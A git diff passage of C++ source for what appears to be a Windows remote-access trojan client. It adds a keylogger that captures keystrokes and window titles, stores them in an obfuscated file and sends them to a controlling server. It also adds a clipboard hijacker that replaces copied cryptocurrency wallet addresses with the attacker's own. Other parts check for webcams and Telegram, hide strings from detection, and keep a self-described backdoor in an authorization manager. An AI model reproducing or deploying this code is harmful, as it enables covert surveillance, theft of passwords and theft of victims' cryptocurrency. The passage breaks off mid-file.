||||
virtual int SendHeartbeat()
|
||||
{
|
||||
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
||||
Sleep(1000);
|
||||
if (m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳)
|
||||
for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i)
|
||||
Sleep(1000);
|
||||
return 0;
|
||||
}
|
||||
if (g_bExit || !m_ClientObject->IsConnected())
|
||||
return -1;
|
||||
|
||||
ActivityWindow checker;
|
||||
auto s = checker.Check();
|
||||
Heartbeat a(s, (int)(m_nNetPing.srtt * 1000)); // srtt是秒,转为毫秒
|
||||
|
||||
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &a, sizeof(Heartbeat));
|
||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
return 0;
|
||||
}
|
||||
bool SoftwareCheck(int type)
|
||||
{
|
||||
static std::map<int, std::string> m = {
|
||||
{SOFTWARE_CAMERA, "摄像头"},
|
||||
{SOFTWARE_TELEGRAM, "telegram.exe" },
|
||||
};
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
|
||||
}
|
||||
// 检查进程是否正在运行
|
||||
bool IsProcessRunning(const std::vector<std::string>& processNames)
|
||||
{
|
||||
PROCESSENTRY32 pe32;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// 获取当前系统中所有进程的快照
|
||||
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||||
return true;
|
||||
|
||||
// 遍历所有进程
|
||||
if (Process32First(hProcessSnap, &pe32)) {
|
||||
do {
|
||||
for (const auto& processName : processNames) {
|
||||
// 如果进程名称匹配,则返回 true
|
||||
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
|
||||
SAFE_CLOSE_HANDLE(hProcessSnap);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hProcessSnap);
|
||||
return false;
|
||||
}
|
||||
virtual uint64_t GetClientID() const override
|
||||
{
|
||||
return m_conn->clientID;
|
||||
}
|
||||
virtual bool IsAuthKernel() const {
|
||||
return false;
|
||||
}
|
||||
virtual void SetClientApp(App* app) {
|
||||
m_ClientApp = app;
|
||||
}
|
||||
App* m_ClientApp = nullptr;
|
||||
};
|
||||
|
||||
// [IMPORTANT]
|
||||
// 授权管理器: 用于处理授权相关的心跳和响应,一旦授权成功则此线程将主动退出,不再和主控进行数据交互.
|
||||
// 如果授权不成功则继续保持和主控的连接,包括进行必要的数据交互,这可能被定义为“后门”,但这是必须的.
|
||||
// 注意: 授权管理器和普通的内核管理器在心跳包的处理上有所不同,授权管理器会在心跳包中附加授权相关的信息.
|
||||
// 任何试图通过修改此类取消授权检查的行为都是不被允许的,并且不会成功,甚至可能引起程序强制退出.
|
||||
class AuthKernelManager : public CKernelManager
|
||||
{
|
||||
public:
|
||||
config* THIS_CFG = nullptr;
|
||||
|
||||
bool m_bFirstHeartbeat = true;
|
||||
|
||||
AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
|
||||
: THIS_CFG(IsDebug ? new config : new iniFile),
|
||||
CKernelManager(conn, ClientObject, hInstance, kb, s)
|
||||
{
|
||||
Mprintf("Init a authorization kernel manager: %p\n", this);
|
||||
}
|
||||
virtual ~AuthKernelManager() {
|
||||
delete THIS_CFG;
|
||||
Mprintf("UnInit a authorization kernel manager: %p\n", this);
|
||||
}
|
||||
|
||||
virtual int SendHeartbeat()override;
|
||||
|
||||
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)override;
|
||||
|
||||
virtual bool IsAuthKernel() const override {
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
634
client/KeyboardManager.cpp
Normal file
634
client/KeyboardManager.cpp
Normal file
@@ -0,0 +1,634 @@
|
||||
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "Common.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#if ENABLE_KEYBOARD
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include <iostream>
|
||||
#include <winbase.h>
|
||||
#include <winuser.h>
|
||||
#include "keylogger.h"
|
||||
#include <iniFile.h>
|
||||
|
||||
#define CAPTION_SIZE 1024
|
||||
|
||||
// 这个库不支持一个进程运行2份键盘记录的需求(例如分享主机)
|
||||
// 未来也许移除对clip的使用
|
||||
#define USING_CLIP 0
|
||||
|
||||
#include "wallet.h"
|
||||
#if USING_CLIP
|
||||
#include "clip.h"
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "clip_x64D.lib")
|
||||
#else
|
||||
#pragma comment(lib, "clip_x64.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "clipd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "clip.lib")
|
||||
#endif
|
||||
#endif
|
||||
#else
|
||||
#include "my_clip.h"
|
||||
#endif
|
||||
|
||||
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
|
||||
{
|
||||
#if USING_CLIP
|
||||
clip::set_error_handler(NULL);
|
||||
#endif
|
||||
m_bIsOfflineRecord = offline;
|
||||
|
||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
||||
strcpy_s(m_strRecordFile, path);
|
||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||
|
||||
m_bIsWorking = true;
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
|
||||
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
||||
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||
SetReady(TRUE);
|
||||
Mprintf("CKeyboardManager1: Start %p\n", this);
|
||||
}
|
||||
|
||||
CKeyboardManager1::~CKeyboardManager1()
|
||||
{
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hClipboard, INFINITE);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hSendThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(m_hClipboard);
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
SAFE_CLOSE_HANDLE(m_hSendThread);
|
||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||
delete m_Buffer;
|
||||
Mprintf("~CKeyboardManager1: Stop %p\n", this);
|
||||
}
|
||||
|
||||
void CKeyboardManager1::Notify()
|
||||
{
|
||||
if (NULL == this)
|
||||
return;
|
||||
|
||||
m_mu.Lock();
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
}
|
||||
|
||||
void CKeyboardManager1::UpdateWallet(const std::string& wallet)
|
||||
{
|
||||
m_mu.Lock();
|
||||
m_Wallet = StringToVector(wallet, ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
}
|
||||
|
||||
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == COMMAND_NEXT)
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
|
||||
m_bIsOfflineRecord = lpBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No");
|
||||
}
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
|
||||
m_Buffer->Clear();
|
||||
GET_PROCESS_EASY(DeleteFileA);
|
||||
DeleteFileA(m_strRecordFile);
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
{
|
||||
m_mu.Lock();
|
||||
auto w = m_Wallet;
|
||||
m_mu.Unlock();
|
||||
return w;
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
{
|
||||
BYTE bToken[2];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||
}
|
||||
|
||||
|
||||
int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = -1;
|
||||
DWORD dwBytesLength = 1 + nSize;
|
||||
GET_PROCESS(DLLS[KERNEL], LocalAlloc);
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
||||
|
||||
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
||||
memcpy(lpBuffer + 1, lpData, nSize);
|
||||
|
||||
nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||
GET_PROCESS(DLLS[KERNEL], LocalFree);
|
||||
LocalFree(lpBuffer);
|
||||
|
||||
return nRet;
|
||||
}
|
||||
|
||||
std::string GetKey(int Key) // 判断键盘按下什么键
|
||||
{
|
||||
GET_PROCESS(DLLS[USER32], GetKeyState);
|
||||
std::string KeyString = "";
|
||||
//判断符号输入
|
||||
const int KeyPressMask=0x80000000; //键盘掩码常量
|
||||
int iShift=GetKeyState(0x10); //判断Shift键状态
|
||||
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
|
||||
if(Key >=186 && Key <=222) {
|
||||
switch(Key) {
|
||||
case 186:
|
||||
if(IS)
|
||||
KeyString = skCrypt(":");
|
||||
else
|
||||
KeyString = skCrypt(";");
|
||||
break;
|
||||
case 187:
|
||||
if(IS)
|
||||
KeyString = skCrypt("+");
|
||||
else
|
||||
KeyString = skCrypt("=");
|
||||
break;
|
||||
case 188:
|
||||
if(IS)
|
||||
KeyString = skCrypt("<");
|
||||
else
|
||||
KeyString = skCrypt(",");
|
||||
break;
|
||||
case 189:
|
||||
if(IS)
|
||||
KeyString = skCrypt("_");
|
||||
else
|
||||
KeyString = skCrypt("-");
|
||||
break;
|
||||
case 190:
|
||||
if(IS)
|
||||
KeyString = skCrypt(">");
|
||||
else
|
||||
KeyString = skCrypt(".");
|
||||
break;
|
||||
case 191:
|
||||
if(IS)
|
||||
KeyString = skCrypt("?");
|
||||
else
|
||||
KeyString = skCrypt("/");
|
||||
break;
|
||||
case 192:
|
||||
if(IS)
|
||||
KeyString = skCrypt("~");
|
||||
else
|
||||
KeyString = skCrypt("`");
|
||||
break;
|
||||
case 219:
|
||||
if(IS)
|
||||
KeyString = skCrypt("{");
|
||||
else
|
||||
KeyString = skCrypt("[");
|
||||
break;
|
||||
case 220:
|
||||
if(IS)
|
||||
KeyString = skCrypt("|");
|
||||
else
|
||||
KeyString = skCrypt("\\");
|
||||
break;
|
||||
case 221:
|
||||
if(IS)
|
||||
KeyString = skCrypt("}");
|
||||
else
|
||||
KeyString = skCrypt("]");
|
||||
break;
|
||||
case 222:
|
||||
if(IS)
|
||||
KeyString = '"';
|
||||
else
|
||||
KeyString = skCrypt("'");
|
||||
break;
|
||||
}
|
||||
}
|
||||
//判断键盘的第一行
|
||||
if (Key == VK_ESCAPE) // 退出
|
||||
KeyString = skCrypt("[Esc]");
|
||||
else if (Key == VK_F1) // F1至F12
|
||||
KeyString = skCrypt("[F1]");
|
||||
else if (Key == VK_F2)
|
||||
KeyString = skCrypt("[F2]");
|
||||
else if (Key == VK_F3)
|
||||
KeyString = skCrypt("[F3]");
|
||||
else if (Key == VK_F4)
|
||||
KeyString = skCrypt("[F4]");
|
||||
else if (Key == VK_F5)
|
||||
KeyString = skCrypt("[F5]");
|
||||
else if (Key == VK_F6)
|
||||
KeyString = skCrypt("[F6]");
|
||||
else if (Key == VK_F7)
|
||||
KeyString = skCrypt("[F7]");
|
||||
else if (Key == VK_F8)
|
||||
KeyString = skCrypt("[F8]");
|
||||
else if (Key == VK_F9)
|
||||
KeyString = skCrypt("[F9]");
|
||||
else if (Key == VK_F10)
|
||||
KeyString = skCrypt("[F10]");
|
||||
else if (Key == VK_F11)
|
||||
KeyString = skCrypt("[F11]");
|
||||
else if (Key == VK_F12)
|
||||
KeyString = skCrypt("[F12]");
|
||||
else if (Key == VK_SNAPSHOT) // 打印屏幕
|
||||
KeyString = skCrypt("[PrScrn]");
|
||||
else if (Key == VK_SCROLL) // 滚动锁定
|
||||
KeyString = skCrypt("[Scroll Lock]");
|
||||
else if (Key == VK_PAUSE) // 暂停、中断
|
||||
KeyString = skCrypt("[Pause]");
|
||||
else if (Key == VK_CAPITAL) // 大写锁定
|
||||
KeyString = skCrypt("[Caps Lock]");
|
||||
|
||||
//-------------------------------------//
|
||||
//控制键
|
||||
else if (Key == 8) //<- 回格键
|
||||
KeyString = skCrypt("[Backspace]");
|
||||
else if (Key == VK_RETURN) // 回车键、换行
|
||||
KeyString = skCrypt("[Enter]\n");
|
||||
else if (Key == VK_SPACE) // 空格
|
||||
KeyString = skCrypt(" ");
|
||||
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
|
||||
//上档键和别的键组合,输出时有字符输出
|
||||
/*
|
||||
else if (Key == VK_LSHIFT) // 左侧上档键
|
||||
KeyString = skCrypt("[Shift]");
|
||||
else if (Key == VK_LSHIFT) // 右侧上档键
|
||||
KeyString = skCrypt("[SHIFT]");
|
||||
*/
|
||||
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
|
||||
else if (Key == VK_TAB) // 制表键
|
||||
KeyString = skCrypt("[Tab]");
|
||||
else if (Key == VK_LCONTROL) // 左控制键
|
||||
KeyString = skCrypt("[Ctrl]");
|
||||
else if (Key == VK_RCONTROL) // 右控制键
|
||||
KeyString = skCrypt("[CTRL]");
|
||||
else if (Key == VK_LMENU) // 左换档键
|
||||
KeyString = skCrypt("[Alt]");
|
||||
else if (Key == VK_LMENU) // 右换档键
|
||||
KeyString = skCrypt("[ALT]");
|
||||
else if (Key == VK_LWIN) // 右 WINDOWS 键
|
||||
KeyString = skCrypt("[Win]");
|
||||
else if (Key == VK_RWIN) // 右 WINDOWS 键
|
||||
KeyString = skCrypt("[WIN]");
|
||||
else if (Key == VK_APPS) // 键盘上 右键
|
||||
KeyString = skCrypt("右键");
|
||||
else if (Key == VK_INSERT) // 插入
|
||||
KeyString = skCrypt("[Insert]");
|
||||
else if (Key == VK_DELETE) // 删除
|
||||
KeyString = skCrypt("[Delete]");
|
||||
else if (Key == VK_HOME) // 起始
|
||||
KeyString = skCrypt("[Home]");
|
||||
else if (Key == VK_END) // 结束
|
||||
KeyString = skCrypt("[End]");
|
||||
else if (Key == VK_PRIOR) // 上一页
|
||||
KeyString = skCrypt("[PgUp]");
|
||||
else if (Key == VK_NEXT) // 下一页
|
||||
KeyString = skCrypt("[PgDown]");
|
||||
// 不常用的几个键:一般键盘没有
|
||||
else if (Key == VK_CANCEL) // Cancel
|
||||
KeyString = skCrypt("[Cancel]");
|
||||
else if (Key == VK_CLEAR) // Clear
|
||||
KeyString = skCrypt("[Clear]");
|
||||
else if (Key == VK_SELECT) //Select
|
||||
KeyString = skCrypt("[Select]");
|
||||
else if (Key == VK_PRINT) //Print
|
||||
KeyString = skCrypt("[Print]");
|
||||
else if (Key == VK_EXECUTE) //Execute
|
||||
KeyString = skCrypt("[Execute]");
|
||||
|
||||
//----------------------------------------//
|
||||
else if (Key == VK_LEFT) //上、下、左、右键
|
||||
KeyString = skCrypt("[←]");
|
||||
else if (Key == VK_RIGHT)
|
||||
KeyString = skCrypt("[→]");
|
||||
else if (Key == VK_UP)
|
||||
KeyString = skCrypt("[↑]");
|
||||
else if (Key == VK_DOWN)
|
||||
KeyString = skCrypt("[↓]");
|
||||
else if (Key == VK_NUMLOCK)//小键盘数码锁定
|
||||
KeyString = skCrypt("[NumLock]");
|
||||
else if (Key == VK_ADD) // 加、减、乘、除
|
||||
KeyString = skCrypt("+");
|
||||
else if (Key == VK_SUBTRACT)
|
||||
KeyString = skCrypt("-");
|
||||
else if (Key == VK_MULTIPLY)
|
||||
KeyString = skCrypt("*");
|
||||
else if (Key == VK_DIVIDE)
|
||||
KeyString = skCrypt("/");
|
||||
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
|
||||
KeyString = skCrypt(".");
|
||||
//小键盘数字键:0-9
|
||||
else if (Key == VK_NUMPAD0)
|
||||
KeyString = skCrypt("0");
|
||||
else if (Key == VK_NUMPAD1)
|
||||
KeyString = skCrypt("1");
|
||||
else if (Key == VK_NUMPAD2)
|
||||
KeyString = skCrypt("2");
|
||||
else if (Key == VK_NUMPAD3)
|
||||
KeyString = skCrypt("3");
|
||||
else if (Key == VK_NUMPAD4)
|
||||
KeyString = skCrypt("4");
|
||||
else if (Key == VK_NUMPAD5)
|
||||
KeyString = skCrypt("5");
|
||||
else if (Key == VK_NUMPAD6)
|
||||
KeyString = skCrypt("6");
|
||||
else if (Key == VK_NUMPAD7)
|
||||
KeyString = skCrypt("7");
|
||||
else if (Key == VK_NUMPAD8)
|
||||
KeyString = skCrypt("8");
|
||||
else if (Key == VK_NUMPAD9)
|
||||
KeyString = skCrypt("9");
|
||||
//-------------------------------------------//
|
||||
|
||||
//-------------------------------------------//
|
||||
//*对字母的大小写进行判断*//
|
||||
else if (Key >=97 && Key <= 122) { // 字母:a-z
|
||||
if (GetKeyState(VK_CAPITAL)) { // 大写锁定
|
||||
if(IS) //Shift按下:为小写字母
|
||||
KeyString = Key;
|
||||
else // 只有大写锁定:输出大写字母
|
||||
KeyString = Key - 32;
|
||||
} else { // 大写没有锁定
|
||||
if(IS) // 按下Shift键: 大写字母
|
||||
KeyString = Key - 32;
|
||||
else // 没有按Shift键: 小写字母
|
||||
KeyString = Key;
|
||||
}
|
||||
} else if (Key >=48 && Key <= 57) { // 键盘数字:0-9及上方的符号
|
||||
if(IS) {
|
||||
switch(Key) {
|
||||
case 48: //0
|
||||
KeyString = skCrypt(")");
|
||||
break;
|
||||
case 49://1
|
||||
KeyString = skCrypt("!");
|
||||
break;
|
||||
case 50://2
|
||||
KeyString = skCrypt("@");
|
||||
break;
|
||||
case 51://3
|
||||
KeyString = skCrypt("#");
|
||||
break;
|
||||
case 52://4
|
||||
KeyString = skCrypt("$");
|
||||
break;
|
||||
case 53://5
|
||||
KeyString = skCrypt("%");
|
||||
break;
|
||||
case 54://6
|
||||
KeyString = skCrypt("^");
|
||||
break;
|
||||
case 55://7
|
||||
KeyString = skCrypt("&");
|
||||
break;
|
||||
case 56://8
|
||||
KeyString = skCrypt("*");
|
||||
break;
|
||||
case 57://9
|
||||
KeyString = skCrypt("(");
|
||||
break;
|
||||
}
|
||||
} else
|
||||
KeyString = Key;
|
||||
}
|
||||
if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
|
||||
if (Key >=65 && Key <=90) { //ASCII 65-90 为A-Z
|
||||
if (GetKeyState(VK_CAPITAL)) { // 大写锁定:输出A-Z
|
||||
if(IS) // 大写锁定,并且按下上档键:输出为小写字母
|
||||
KeyString = Key + 32;
|
||||
else //只有大写锁定:输出为大写字母
|
||||
KeyString = Key;
|
||||
} else { // 大写没有锁定:a-z
|
||||
if(IS) {
|
||||
KeyString = Key;
|
||||
} else {
|
||||
Key = Key + 32;
|
||||
KeyString = Key;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return KeyString;
|
||||
}
|
||||
|
||||
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
|
||||
{
|
||||
GET_PROCESS(DLLS[USER32], GetForegroundWindow);
|
||||
HWND hFocus = (HWND)GetForegroundWindow();
|
||||
BOOL ReturnFlag = FALSE;
|
||||
if (hFocus != PreviousFocus) {
|
||||
if (lstrlen(WindowCaption) > 0) {
|
||||
if (hasData) {
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
sprintf(szText, _T("\r\n[Title:] %s\r\n[Time:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
||||
}
|
||||
memset(WindowCaption, 0, CAPTION_SIZE);
|
||||
ReturnFlag=TRUE;
|
||||
}
|
||||
PreviousFocus = hFocus;
|
||||
GET_PROCESS_EASY(SendMessageA);
|
||||
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
|
||||
}
|
||||
return ReturnFlag;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
int pos = 0;
|
||||
while(pThis->m_bIsWorking) {
|
||||
if (!pThis->IsConnected()) {
|
||||
pos = 0;
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
int size = 0;
|
||||
char* lpBuffer = pThis->m_Buffer->Read(pos, size);
|
||||
if (size) {
|
||||
int nRet = pThis->sendKeyBoardData((LPBYTE)lpBuffer, size);
|
||||
delete[] lpBuffer;
|
||||
}
|
||||
Sleep(1000);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int CALLBACK WriteBuffer(const char* record, void* user)
|
||||
{
|
||||
CircularBuffer* m_Buffer = (CircularBuffer*)user;
|
||||
m_Buffer->Write(record, strlen(record));
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||
while (pThis->m_bIsWorking) {
|
||||
auto w = pThis->GetWallet();
|
||||
if (w.empty()) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
bool hasClipboard = false;
|
||||
try {
|
||||
hasClipboard = clip::has(clip::text_format());
|
||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||
hasClipboard = false;
|
||||
Sleep(3000);
|
||||
}
|
||||
if (hasClipboard) {
|
||||
std::string value;
|
||||
clip::get_text(value);
|
||||
if (value.length() > 200) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
auto type = detectWalletType(value);
|
||||
switch (type) {
|
||||
case WALLET_UNKNOWN:
|
||||
break;
|
||||
case WALLET_BTC_P2PKH:
|
||||
case WALLET_BTC_P2SH:
|
||||
case WALLET_BTC_BECH32:
|
||||
if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]);
|
||||
break;
|
||||
case WALLET_ETH_ERC20:
|
||||
if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]);
|
||||
break;
|
||||
case WALLET_USDT_OMNI:
|
||||
if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]);
|
||||
break;
|
||||
case WALLET_USDT_TRC20:
|
||||
if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]);
|
||||
break;
|
||||
case WALLET_TRON:
|
||||
if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]);
|
||||
break;
|
||||
case WALLET_SOLANA:
|
||||
if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]);
|
||||
break;
|
||||
case WALLET_XRP:
|
||||
if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]);
|
||||
break;
|
||||
case WALLET_POLKADOT:
|
||||
if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]);
|
||||
break;
|
||||
case WALLET_CARDANO_SHELLEY:
|
||||
case WALLET_CARDANO_BYRON:
|
||||
if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]);
|
||||
break;
|
||||
case WALLET_DOGE:
|
||||
if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
Sleep(1000);
|
||||
}
|
||||
return 0x20251005;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
MSG msg;
|
||||
TCHAR KeyBuffer[2048] = {};
|
||||
TCHAR szText[CAPTION_SIZE] = {};
|
||||
TCHAR WindowCaption[CAPTION_SIZE] = {};
|
||||
HWND PreviousFocus = NULL;
|
||||
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||
HDESK desktop = NULL;
|
||||
clock_t lastCheck = 0;
|
||||
while(pThis->m_bIsWorking) {
|
||||
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||
#if USING_KB_HOOK
|
||||
ReleaseHook();
|
||||
#endif
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
Sleep(5);
|
||||
#if USING_KB_HOOK
|
||||
clock_t now = clock();
|
||||
if (now - lastCheck > 1000) {
|
||||
lastCheck = now;
|
||||
HDESK hInputDesk = IsDesktopChanged(desktop, DESKTOP_READOBJECTS |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD);
|
||||
if (hInputDesk) {
|
||||
ReleaseHook();
|
||||
if (desktop) {
|
||||
CloseDesktop(desktop);
|
||||
}
|
||||
desktop = hInputDesk;
|
||||
if (!SetThreadDesktop(desktop)) {
|
||||
Mprintf("SetThreadDesktop failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||
return -1;
|
||||
}
|
||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||
#else
|
||||
int num = lstrlen(KeyBuffer);
|
||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||
bool newWindowInput = strlen(szText);
|
||||
if (newWindowInput) { // 在新的窗口有键盘输入
|
||||
lstrcat(KeyBuffer, szText);
|
||||
memset(szText, 0, sizeof(szText));
|
||||
}
|
||||
if (lstrlen(KeyBuffer) > 0) {
|
||||
if (!newWindowInput)
|
||||
lstrcat(KeyBuffer, _T("\r\n"));
|
||||
const int offset = sizeof(_T("\r\n[Content:]")) - 1;
|
||||
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
||||
memcpy(KeyBuffer, _T("\r\n[Content:]"), offset);
|
||||
pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer));
|
||||
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
||||
}
|
||||
}
|
||||
for(int i = 8; i <= 255; i++) {
|
||||
if((GetAsyncKeyState(i)&1) == 1) {
|
||||
std::string TempString = GetKey (i);
|
||||
lstrcat(KeyBuffer,TempString.c_str());
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
259
client/KeyboardManager.h
Normal file
259
client/KeyboardManager.h
Normal file
@@ -0,0 +1,259 @@
|
||||
// KeyboardManager.h: interface for the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Manager.h"
|
||||
#include "stdafx.h"
|
||||
|
||||
#define KEYLOG_FILE "keylog.xml"
|
||||
|
||||
#if ENABLE_KEYBOARD==0
|
||||
#define CKeyboardManager1 CManager
|
||||
|
||||
#else
|
||||
|
||||
#define BUFFER_SIZE 10*1024*1024
|
||||
|
||||
// 循环缓存
|
||||
class CircularBuffer
|
||||
{
|
||||
private:
|
||||
char* m_buffer; // 缓冲区
|
||||
int m_size; // 缓冲区大小
|
||||
int m_write; // 写指针
|
||||
int m_read; // 读指针
|
||||
CRITICAL_SECTION m_cs; // 线程同步
|
||||
char m_key; // 用于 XOR 加解密的密钥
|
||||
|
||||
public:
|
||||
// 构造函数:从文件加载数据
|
||||
CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`')
|
||||
: m_size(size), m_write(0), m_read(0), m_key(key)
|
||||
{
|
||||
m_buffer = new char[m_size]();
|
||||
InitializeCriticalSection(&m_cs);
|
||||
LoadDataFromFile(filename);
|
||||
}
|
||||
|
||||
// 析构函数:清理资源
|
||||
~CircularBuffer()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
